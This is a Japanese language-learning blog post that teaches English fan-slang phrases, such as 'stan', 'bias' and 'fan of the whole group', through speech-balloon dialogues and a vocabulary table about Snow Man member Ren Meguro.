<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_portrait-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fbfbce"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fbfbce transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I am a stan of Meme.</strong><br>めめを激推ししてるの</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_young_female_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff0c7"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fff0c7"></span><span class="vk_balloon_content_after "></span>
<p><strong>My ultimate bias is Ren.</strong><br>私の最推しは蓮よ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/RAU_L.jpg?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>My stan, Ren, is the best.</strong><br>俺の推し、蓮は最高！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_handsome_1-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ebdef8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ebdef8"></span><span class="vk_balloon_content_after "></span>
<p><strong>No one can beat Meme.</strong><br>めめしか勝たん！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e0fcff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e0fcff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Ren is dazzling!</strong><br>蓮が眩しすぎる！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/SAKUMA_R.jpg?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe2fc"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe2fc"></span><span class="vk_balloon_content_after "></span>
<p><strong>Omg, wait no, I can’t, it’s too much.</strong><br><strong><a href="https://youtu.be/7z6_M8QpZ4I?si=LqvxjAAOAaLB8tMF" target="_blank" rel="noopener" title=""><mark style="background-color:#f78da7" class="has-inline-color has-black-color">待って、無理、しんどい</mark></a></strong></p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_portrait-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fdf0cc"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fdf0cc transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m actually in love with Ren.</strong><br>蓮にリアコなの</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_blonde_pony_tail_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d7ffef"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #d7ffef"></span><span class="vk_balloon_content_after "></span>
<p><strong>To say the least, Meme is awesome.</strong><br>めめって控えめに言っても最高</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_glasses_people_woman_teenager_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e0e6ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e0e6ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m so in love with Meme but fan of the whole Snow Man.</strong><br>めめにガチ恋してるけどスノーマンの箱推しなの</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:23px;height:auto"/></figure>


<table style="height: 856px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 31px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be obsessed with</strong></td>
<td style="width: 62.9762%; height: 31px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">～で頭がいっぱいだ、～のことしか考えられない、～に執着する、～に取りつかれている、～に夢中だ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>deeply in love with</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に深く恋に落ちる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be into</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に夢中になる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be big fan of</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜の大ファン</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be crazy about</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に狂おしいくらいくらい夢中だ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be hooked on</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜にはまっている</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be addicted to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に夢中だ、〜にはまっている、〜に凝っている、〜にうつつを抜かしている</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>can’t find my way out</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">出口がわからない、抜け出す道が見つからない</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to have mixed feelings about</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に複雑な感情を抱く</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 20px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>fave</strong></td>
<td style="width: 62.9762%; height: 20px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">推し。favoriteの略</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>precious</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">尊い</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>perfect reaction</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">神対応　　　<br />塩対応は unfriendly reaction　</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>stunningly</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">息が止まるほど</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>handsome</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">かっこいい、ハンサム。男女関係なく使用可</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>drop-dead</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">びっくりするくらい</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>gorgeous</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ゴージャス</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>killer looks</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">すごくかっこいい</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>stan</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">推し。Stalker＋fanから派生した新語</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>bias</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">推し。K -POPファンが使用する表現。「物の見方が強く偏っている」という意味が転じて「推し」に</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to beat</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に打ち勝つ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>dazzling</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">輝かしい</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>Omg</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">oh my godの略</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>wait no</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">待って</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>it’s too much</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">あんまりだ、しんどい</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be actually（deeply） in love with</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を本当に愛している、にリアコ、〜にガチ恋している</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to say the least</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を控えめに言う</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>fan of the whole group</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜の箱推し</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>fal ling down the rabbit hole </strong><br /><strong>go down a rabbit hole</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">
<p>予測しない戻れない道に進んでしまう、本筋から外れる、不思議な体験をする<br />アリスが不思議の国に迷い込むことに由来。何時間もその情報に没頭していたという状況などに使用されます　</p>
</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>get sucked into a vortex</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">渦巻に吸い込まれる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>mixed feelings</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">複雑な気持ち</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>perfect reaction</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">神対応</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>cool</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">（スラング）かっこいい<br />冷たい、涼しいという意味ですが、1900年代前半ごろから「かっこいい」という意味のとして使われ始め、現在では定番の表現となっています</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>hot</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">（スラング）素敵、セクシー、かっこいい、〜が熱い</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>good-looking</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">外見がかっこいい、イケメン。男女関係なく使用可</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>attractive</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">魅力的な</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>stylish</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">スタイリッシュな。男女関係なく使用可</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:199px;height:auto"/></figure>
<p><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F06%2F01%2Fuminohajimari%2F&amp;linkname=%E3%80%90%E8%8B%B1%E8%AA%9E%E3%81%A7%E6%8E%A8%E3%81%97%E6%B4%BB%E3%80%91%E7%9B%AE%E9%BB%92%E8%93%AE%E4%B8%BB%E6%BC%94%E3%81%AE%E3%80%8C%E6%B5%B7%E3%81%AE%E3%81%AF%E3%81%98%E3%81%BE%E3%82%8A%E3%80%8D%E3%82%92%E6%97%A9%E3%81%8F%E8%A6%8B%E3%81%9F%E3%81%84%E3%82%8F%EF%BC%81%E3%81%A3%E3%81%A6%E8%8B%B1%E8%AA%9E%E3%81%A7%E3%81%AA%E3%82%93%E3%81%A6%E8%A8%80%E3%81%86%E3%81%AE%EF%BC%9F" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F06%2F01%2Fuminohajimari%2F&amp;linkname=%E3%80%90%E8%8B%B1%E8%AA%9E%E3%81%A7%E6%8E%A8%E3%81%97%E6%B4%BB%E3%80%91%E7%9B%AE%E9%BB%92%E8%93%AE%E4%B8%BB%E6%BC%94%E3%81%AE%E3%80%8C%E6%B5%B7%E3%81%AE%E3%81%AF%E3%81%98%E3%81%BE%E3%82%8A%E3%80%8D%E3%82%92%E6%97%A9%E3%81%8F%E8%A6%8B%E3%81%9F%E3%81%84%E3%82%8F%EF%BC%81%E3%81%A3%E3%81%A6%E8%8B%B1%E8%AA%9E%E3%81%A7%E3%81%AA%E3%82%93%E3%81%A6%E8%A8%80%E3%81%86%E3%81%AE%EF%BC%9F" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F06%2F01%2Fuminohajimari%2F&amp;linkname=%E3%80%90%E8%8B%B1%E8%AA%9E%E3%81%A7%E6%8E%A8%E3%81%97%E6%B4%BB%E3%80%91%E7%9B%AE%E9%BB%92%E8%93%AE%E4%B8%BB%E6%BC%94%E3%81%AE%E3%80%8C%E6%B5%B7%E3%81%AE%E3%81%AF%E3%81%98%E3%81%BE%E3%82%8A%E3%80%8D%E3%82%92%E6%97%A9%E3%81%8F%E8%A6%8B%E3%81%9F%E3%81%84%E3%82%8F%EF%BC%81%E3%81%A3%E3%81%A6%E8%8B%B1%E8%AA%9E%E3%81%A7%E3%81%AA%E3%82%93%E3%81%A6%E8%A8%80%E3%81%86%E3%81%AE%EF%BC%9F" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_line" href="https://www.addtoany.com/add_to/line?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F06%2F01%2Fuminohajimari%2F&amp;linkname=%E3%80%90%E8%8B%B1%E8%AA%9E%E3%81%A7%E6%8E%A8%E3%81%97%E6%B4%BB%E3%80%91%E7%9B%AE%E9%BB%92%E8%93%AE%E4%B8%BB%E6%BC%94%E3%81%AE%E3%80%8C%E6%B5%B7%E3%81%AE%E3%81%AF%E3%81%98%E3%81%BE%E3%82%8A%E3%80%8D%E3%82%92%E6%97%A9%E3%81%8F%E8%A6%8B%E3%81%9F%E3%81%84%E3%82%8F%EF%BC%81%E3%81%A3%E3%81%A6%E8%8B%B1%E8%AA%9E%E3%81%A7%E3%81%AA%E3%82%93%E3%81%A6%E8%A8%80%E3%81%86%E3%81%AE%EF%BC%9F" title="Line" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hatena" href="https://www.addtoany.com/add_to/hatena?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F06%2F01%2Fuminohajimari%2F&amp;linkname=%E3%80%90%E8%8B%B1%E8%AA%9E%E3%81%A7%E6%8E%A8%E3%81%97%E6%B4%BB%E3%80%91%E7%9B%AE%E9%BB%92%E8%93%AE%E4%B8%BB%E6%BC%94%E3%81%AE%E3%80%8C%E6%B5%B7%E3%81%AE%E3%81%AF%E3%81%98%E3%81%BE%E3%82%8A%E3%80%8D%E3%82%92%E6%97%A9%E3%81%8F%E8%A6%8B%E3%81%9F%E3%81%84%E3%82%8F%EF%BC%81%E3%81%A3%E3%81%A6%E8%8B%B1%E8%AA%9E%E3%81%A7%E3%81%AA%E3%82%93%E3%81%A6%E8%A8%80%E3%81%86%E3%81%AE%EF%BC%9F" title="Hatena" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_pocket" href="https://www.addtoany.com/add_to/pocket?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F06%2F01%2Fuminohajimari%2F&amp;linkname=%E3%80%90%E8%8B%B1%E8%AA%9E%E3%81%A7%E6%8E%A8%E3%81%97%E6%B4%BB%E3%80%91%E7%9B%AE%E9%BB%92%E8%93%AE%E4%B8%BB%E6%BC%94%E3%81%AE%E3%80%8C%E6%B5%B7%E3%81%AE%E3%81%AF%E3%81%98%E3%81%BE%E3%82%8A%E3%80%8D%E3%82%92%E6%97%A9%E3%81%8F%E8%A6%8B%E3%81%9F%E3%81%84%E3%82%8F%EF%BC%81%E3%81%A3%E3%81%A6%E8%8B%B1%E8%AA%9E%E3%81%A7%E3%81%AA%E3%82%93%E3%81%A6%E8%A8%80%E3%81%86%E3%81%AE%EF%BC%9F" title="Pocket" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F06%2F01%2Fuminohajimari%2F&amp;linkname=%E3%80%90%E8%8B%B1%E8%AA%9E%E3%81%A7%E6%8E%A8%E3%81%97%E6%B4%BB%E3%80%91%E7%9B%AE%E9%BB%92%E8%93%AE%E4%B8%BB%E6%BC%94%E3%81%AE%E3%80%8C%E6%B5%B7%E3%81%AE%E3%81%AF%E3%81%98%E3%81%BE%E3%82%8A%E3%80%8D%E3%82%92%E6%97%A9%E3%81%8F%E8%A6%8B%E3%81%9F%E3%81%84%E3%82%8F%EF%BC%81%E3%81%A3%E3%81%A6%E8%8B%B1%E8%AA%9E%E3%81%A7%E3%81%AA%E3%82%93%E3%81%A6%E8%A8%80%E3%81%86%E3%81%AE%EF%BC%9F" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_tumblr" href="https://www.addtoany.com/add_to/tumblr?linkurl=https%3A%2F%2Fffeng.jp%2F2024%2F06%2F01%2Fuminohajimari%2F&amp;linkname=%E3%80%90%E8%8B%B1%E8%AA%9E%E3%81%A7%E6%8E%A8%E3%81%97%E6%B4%BB%E3%80%91%E7%9B%AE%E9%BB%92%E8%93%AE%E4%B8%BB%E6%BC%94%E3%81%AE%E3%80%8C%E6%B5%B7%E3%81%AE%E3%81%AF%E3%81%98%E3%81%BE%E3%82%8A%E3%80%8D%E3%82%92%E6%97%A9%E3%81%8F%E8%A6%8B%E3%81%9F%E3%81%84%E3%82%8F%EF%BC%81%E3%81%A3%E3%81%A6%E8%8B%B1%E8%AA%9E%E3%81%A7%E3%81%AA%E3%82%93%E3%81%A6%E8%A8%80%E3%81%86%E3%81%AE%EF%BC%9F" title="Tumblr" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fffeng.jp%2F2024%2F06%2F01%2Fuminohajimari%2F&#038;title=%E3%80%90%E8%8B%B1%E8%AA%9E%E3%81%A7%E6%8E%A8%E3%81%97%E6%B4%BB%E3%80%91%E7%9B%AE%E9%BB%92%E8%93%AE%E4%B8%BB%E6%BC%94%E3%81%AE%E3%80%8C%E6%B5%B7%E3%81%AE%E3%81%AF%E3%81%98%E3%81%BE%E3%82%8A%E3%80%8D%E3%82%92%E6%97%A9%E3%81%8F%E8%A6%8B%E3%81%9F%E3%81%84%E3%82%8F%EF%BC%81%E3%81%A3%E3%81%A6%E8%8B%B1%E8%AA%9E%E3%81%A7%E3%81%AA%E3%82%93%E3%81%A6%E8%A8%80%E3%81%86%E3%81%AE%EF%BC%9F" data-a2a-url="https://ffeng.jp/2024/06/01/uminohajimari/" data-a2a-title="【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？"></a></p>The post <a href="https://ffeng.jp/2024/06/01/uminohajimari/">【英語で推し活】目黒蓮主演の「海のはじまり」を早く見たいわ！って英語でなんて言うの？</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2026/03/15/ren_meguro_shogun/' title='【推し活英語講座】カナダで頑張ってる目黒蓮さんに英語で応援メッセージを送ろう！使えるフレーズ集'>
